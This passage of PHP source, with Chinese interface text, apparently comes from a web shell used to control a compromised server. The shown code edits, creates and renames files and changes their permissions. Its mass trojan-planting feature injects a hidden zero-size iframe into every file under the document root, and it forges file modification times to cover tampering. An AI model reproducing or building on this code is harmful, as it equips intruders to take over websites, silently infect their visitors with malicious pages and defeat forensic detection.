} elseif ($_GET['action'] == "editfile") { if (empty($newfile)) { $filename = "{$dir}/{$editfile}"; $fp = @fopen($filename, "r"); $contents = @fread($fp, filesize($filename)); @fclose($fp); $contents = htmlspecialchars($contents); } else { $editfile = $newfile; $filename = "{$dir}/{$editfile}"; } $action = "?dir=" . urlencode($dir) . "&editfile=" . $editfile; $tb->tableheader(); $tb->formheader($action, '新建/编辑文件'); $tb->tdbody('当前文件: ' . $tb->makeinput('editfilename', $filename) . ' 输入新文件名则建立新文件'); $tb->tdbody($tb->maketextarea('filecontent', $contents)); $tb->makehidden('do', 'doeditfile'); $tb->formfooter('1', '30'); } elseif ($_GET['action'] == "rename") { $nowfile = isset($_POST['newname']) ? $_POST['newname'] : basename($_GET['fname']); $action = "?dir=" . urlencode($dir) . "&fname=" . urlencode($fname); $tb->tableheader(); $tb->formheader($action, '修改文件名'); $tb->makehidden('oldname', $dir . "/" . $nowfile); $tb->makehidden('dir', $dir); $tb->tdbody('当前文件名: ' . basename($nowfile)); $tb->tdbody('改名为: ' . $tb->makeinput('newname')); $tb->makehidden('do', 'rename'); $tb->formfooter('1', '30'); } elseif ($_GET['action'] == "fileperm") { $action = "?dir=" . urlencode($dir) . "&file=" . $file;
echo "鼠标移到结果文件上会有部分截取显示."; } echo "</span><br><hr width=\"775\" noshade>"; find($path); } else { echo "你要查虾米?到底要查虾米呢?有没有虾米要你查呢?"; } } elseif ($_GET['action'] == 'plgmok') { dirtree($_POST['dir'], $_POST['mm']); } elseif ($_GET['action'] == "plgm") { $action = '?action=plgmok'; $gm = "<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>"; $tb->tableheader(); $tb->formheader($action, '批量挂马'); $tb->tdbody('网站批量挂马程序php版', 'center'); $tb->tdbody('文件位置: ' . $tb->makeinput('dir', '' . $_SERVER["DOCUMENT_ROOT"] . '', '', 'text', '60') . '<br>要挂代码:' . $tb->maketextarea('mm', $gm, '50', '5') . '' . $tb->makehidden('do', '批量挂马') . '<br>' . $tb->makeinput('submit', '开始挂马', '', 'submit'), 'center', '1', '35'); echo "</form>"; $tb->tablefooter(); } elseif ($_POST['do'] == 'domodtime') { if (!@file_exists($_POST['curfile'])) { echo "要修改的文件不存在!"; } else { if (!@file_exists($_POST['tarfile'])) { echo "要参照的文件不存在!"; } else { $time = @filemtime($_POST['tarfile']); echo @touch($_POST['curfile'], $time, $time) ? basename($_POST['curfile']) . " 的修改时间成功改为 " . date("Y-m-d H:i:s", $time) . " !" : "文件的修改时间修改失败!"; } } } elseif ($_POST['do'] == 'modmytime') { if (!@file_exists($_POST['curfile'])) {